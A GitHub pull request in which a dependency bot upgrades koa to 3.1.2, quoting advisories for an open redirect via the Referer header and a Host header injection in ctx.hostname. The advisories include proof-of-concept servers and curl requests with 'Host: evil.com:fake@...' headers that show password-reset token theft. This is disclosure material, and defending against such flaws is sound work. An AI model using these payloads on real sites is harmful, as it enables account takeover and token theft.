Skip to content

chore(deps): update dependency koa to v3.1.2 [security]#195

Open
renovate[bot] wants to merge 1 commit intov1from
renovate/npm-koa-vulnerability
Open

chore(deps): update dependency koa to v3.1.2 [security]#195
renovate[bot] wants to merge 1 commit intov1from
renovate/npm-koa-vulnerability

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Oct 10, 2025

This PR contains the following updates:

Package Change Age Confidence
koa (source) 3.0.03.1.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-8129

Summary

In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.

Details

on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:

response.redirect(url, [alt])

Performs a [302] redirect to url.
The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.

ctx.redirect('back');
ctx.redirect('back', '/index.html');
ctx.redirect('/login');
ctx.redirect('http://google.com');

however, the "back" method is insecure:

  back (alt) {
    const url = this.ctx.get('Referrer') || alt || '/'
    this.redirect(url)
  },

Referrer Header is User-Controlled.

PoC

there is a demo for POC:

const Koa = require('koa')
const serve = require('koa-static')
const Router = require('@​koa/router')
const path = require('path')

const app = new Koa()
const router = new Router()

// Serve static files from the public directory
app.use(serve(path.join(__dirname, 'public')))

// Define routes
router.get('/test', ctx => {
  ctx.redirect('back', '/index1.html')
})

router.get('/test2', ctx => {
  ctx.redirect('back')
})

router.get('/', ctx => {
  ctx.body = 'Welcome to the home page! Try accessing /test, /test2'
})

app.use(router.routes())
app.use(router.allowedMethods())

const port = 3000
app.listen(port, () => {
  console.log(`Server running at http://localhost:${port}`)
}) 

Proof Of Concept

GET /test HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close

GET /test2 HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close

image

image

Impact

https://learn.snyk.io/lesson/open-redirect/

CVE-2026-27959

Summary

Koa's ctx.hostname API performs naive parsing of the HTTP Host header, extracting everything before the first colon without validating the input conforms to RFC 3986 hostname syntax. When a malformed Host header containing a @ symbol (e.g., evil.com:fake@legitimate.com) is received, ctx.hostname returns evil.com - an attacker-controlled value. Applications using ctx.hostname for URL generation, password reset links, email verification URLs, or routing decisions are vulnerable to Host header injection attacks.

Details

The vulnerability exists in Koa's hostname getter in lib/request.js:

// Koa 2.16.1 - lib/request.js
get hostname() {
  const host = this.host;
  if (!host) return '';
  if ('[' === host[0]) return this.URL.hostname || ''; // IPv6 literal
  return host.split(':', 1)[0];
}

The host getter retrieves the raw header value with HTTP/2 and proxy support:

// Koa 2.16.1 - lib/request.js
get host() {
  const proxy = this.app.proxy;
  let host = proxy && this.get('X-Forwarded-Host');
  if (!host) {
    if (this.req.httpVersionMajor >= 2) host = this.get(':authority');
    if (!host) host = this.get('Host');
  }
  if (!host) return '';
  return host.split(',')[0].trim();
}

The Problem

The parsing logic simply splits on the first : and returns the first segment. There is no validation that the resulting string is a valid hostname per RFC 3986 Section 3.2.2.

RFC 3986 Section 3.2.2 defines the host component as:

host = IP-literal / IPv4address / reg-name
reg-name = *( unreserved / pct-encoded / sub-delims )
unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
sub-delims = "!" / "$" / "&" / "'" / "(" / ")" / "*" / "+" / "," / ";" / "="

The @ character is explicitly NOT permitted in the host component - it is the delimiter separating userinfo from host in the authority component.

Attack Vector

When an attacker sends:

Host: evil.com:fake@legitimate.com:3000

Koa parses this as:

API Returns Notes
ctx.get('Host') "evil.com:fake@legitimate.com:3000" Raw header
ctx.hostname "evil.com" Attacker-controlled
ctx.host "evil.com:fake@legitimate.com:3000" Raw header value
ctx.origin "http://evil.com:fake@legitimate.com:3000" Protocol + malformed host

The ctx.hostname API returns evil.com because the parser splits on the first : without understanding that evil.com:fake@legitimate.com is a malformed authority component where evil.com:fake would be interpreted as userinfo by a proper URI parser.

Additional Concern: ctx.origin

Koa's ctx.origin property concatenates protocol and host without validation:

// lib/request.js
get origin() {
  return `${this.protocol}://${this.host}`;
}

Applications using ctx.origin for URL generation receive the full malformed Host header value, creating URLs with embedded credentials that browsers may interpret as userinfo.

HTTP/2 Consideration

Koa explicitly checks httpVersionMajor >= 2 to read the :authority pseudo-header:

if (this.req.httpVersionMajor >= 2) host = this.get(':authority');

The same vulnerability applies - malformed :authority values containing userinfo would be accepted and parsed identically.

PoC

Setup

// server.js
const Koa = require('koa'); 
const app = new Koa();

// Simulates password reset URL generation (common vulnerable pattern)
app.use(async ctx => {
  if (ctx.path === '/forgot-password') {
    const resetToken = 'abc123securtoken';
    const resetUrl = `${ctx.protocol}://${ctx.hostname}/reset?token=${resetToken}`;
    
    ctx.body = {
      message: 'Password reset link generated',
      resetUrl: resetUrl,
      debug: {
        rawHost: ctx.get('Host'),
        parsedHostname: ctx.hostname,
        origin: ctx.origin,
        protocol: ctx.protocol
      }
    };
  }
});

app.listen(3000, () => console.log('Server on http://localhost:3000'));

Exploit

curl -H "Host: evil.com:fake@localhost:3000" http://localhost:3000/forgot-password

Result

{
  "message": "Password reset link generated",
  "resetUrl": "http://evil.com/reset?token=abc123securtoken",
  "debug": {
    "rawHost": "evil.com:fake@localhost:3000",
    "parsedHostname": "evil.com",
    "origin": "http://evil.com:fake@localhost:3000",
    "protocol": "http"
  }
}

The password reset URL points to evil.com instead of the legitimate server. In a real attack:

  1. Attacker requests password reset for victim's email with malicious Host header
  2. Server generates reset link using ctx.hostnamehttps://evil.com/reset?token=SECRET
  3. Victim receives email with poisoned link
  4. Victim clicks link, token is sent to attacker's server
  5. Attacker uses token to reset victim's password

Additional Test Cases

# Basic injection
curl -H "Host: evil.com:x@legitimate.com" http://localhost:3000/forgot-password

# Result: hostname = "evil.com"

# With port preservation attempt
curl -H "Host: evil.com:443@​legitimate.com:3000" http://localhost:3000/forgot-password  

# Result: hostname = "evil.com"

# Unicode/encoded variations
curl -H "Host: evil.com:x%40legitimate.com" http://localhost:3000/forgot-password

# Result: hostname = "evil.com"

Deployment Consideration

For this attack to succeed in production, the malicious Host header must reach the Koa application. This occurs when:

  1. No reverse proxy - Application directly exposed to internet
  2. Misconfigured proxy - Proxy doesn't override/validate Host header
  3. Proxy trust enabled (app.proxy = true) - X-Forwarded-Host can be injected
  4. Default virtual host - Server is the catch-all for unrecognized Host headers

Impact

Vulnerability Type

  • CWE-20: Improper Input Validation
  • CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Attack Scenarios

1. Password Reset Poisoning (High Severity)

  • Attacker hijacks password reset tokens by poisoning reset URLs
  • Requires victim to click link in email
  • Results in account takeover

2. Email Verification Bypass

  • Attacker poisons email verification links
  • Can verify attacker-controlled email on victim accounts

3. OAuth/SSO Callback Manipulation

  • Applications using ctx.hostname for OAuth redirect URIs
  • Attacker redirects OAuth callbacks to malicious server
  • Results in token theft

4. Web Cache Poisoning

  • If responses are cached without Host in cache key
  • Poisoned URLs served to all users
  • Persistent XSS/phishing via cached responses

5. Server-Side Request Forgery (SSRF)

  • Internal routing decisions based on ctx.hostname
  • Attacker manipulates which backend receives requests

Who Is Impacted

  • Direct impact: Any Koa application using ctx.hostname or ctx.origin for URL generation without additional validation
  • Common patterns: Password reset, email verification, webhook URL generation, multi-tenant routing, OAuth implementations

Release Notes

koajs/koa (koa)

v3.1.2

Compare Source

What's Changed

New Contributors

Full Changelog: koajs/koa@v3.1.1...v3.1.2

v3.1.1

Compare Source

What's Changed

Full Changelog: koajs/koa@v3.1.0...v3.1.1

v3.1.0

Compare Source

==================

fixes

  • [2ee32f5] - fix: pin debug@~3.1.0 avoid deprecated warnning (#​1245) (fengmk2 <<fengmk2@​gmail.com>>)

others

v3.0.3

Compare Source

What's Changed

Full Changelog: koajs/koa@v3.0.2...v3.0.3

v3.0.2

Compare Source

What's Changed

New Contributors

Full Changelog: koajs/koa@v3.0.1...v3.0.2

v3.0.1

Compare Source

What's Changed

Full Changelog: koajs/koa@v3.0.0...v3.0.1


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Dependencies (auto) update label Oct 10, 2025
@changeset-bot
Copy link

changeset-bot bot commented Oct 10, 2025

⚠️ No Changeset found

Latest commit: 8649bd1

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@pkg-pr-new
Copy link

pkg-pr-new bot commented Oct 10, 2025

Open in StackBlitz

unioc

npm i https://pkg.pr.new/unioc@195

@unioc/adapter-midway

npm i https://pkg.pr.new/@unioc/adapter-midway@195

@unioc/adapter-nestjs

npm i https://pkg.pr.new/@unioc/adapter-nestjs@195

@unioc/commander

npm i https://pkg.pr.new/@unioc/commander@195

create-unioc

npm i https://pkg.pr.new/create-unioc@195

@unioc/core

npm i https://pkg.pr.new/@unioc/core@195

@unioc/decorator

npm i https://pkg.pr.new/@unioc/decorator@195

@unioc/meta

npm i https://pkg.pr.new/@unioc/meta@195

@unioc/reflector

npm i https://pkg.pr.new/@unioc/reflector@195

@unioc/shared

npm i https://pkg.pr.new/@unioc/shared@195

@unioc/web

npm i https://pkg.pr.new/@unioc/web@195

@unioc/web-bun

npm i https://pkg.pr.new/@unioc/web-bun@195

@unioc/web-express

npm i https://pkg.pr.new/@unioc/web-express@195

@unioc/web-koa

npm i https://pkg.pr.new/@unioc/web-koa@195

commit: 8649bd1

@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch from 011cd6d to e369cb5 Compare October 21, 2025 16:59
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch from e369cb5 to c26910d Compare November 11, 2025 01:12
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch from c26910d to e6cdbaf Compare November 18, 2025 23:57
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch from e6cdbaf to a57d2ed Compare December 3, 2025 18:53
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch from a57d2ed to c7b6803 Compare December 31, 2025 12:35
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch from c7b6803 to ba0db6c Compare January 8, 2026 19:42
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch 2 times, most recently from 7085f46 to 507cd69 Compare January 23, 2026 17:57
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch 2 times, most recently from c368e3b to 7aad25f Compare February 2, 2026 15:09
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch 2 times, most recently from 0a18ebc to 420495c Compare February 17, 2026 16:36
@renovate renovate bot force-pushed the renovate/npm-koa-vulnerability branch from 420495c to 8649bd1 Compare February 28, 2026 06:02
@renovate renovate bot changed the title chore(deps): update dependency koa to v3.0.1 [security] chore(deps): update dependency koa to v3.1.2 [security] Feb 28, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Dependencies (auto) update

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant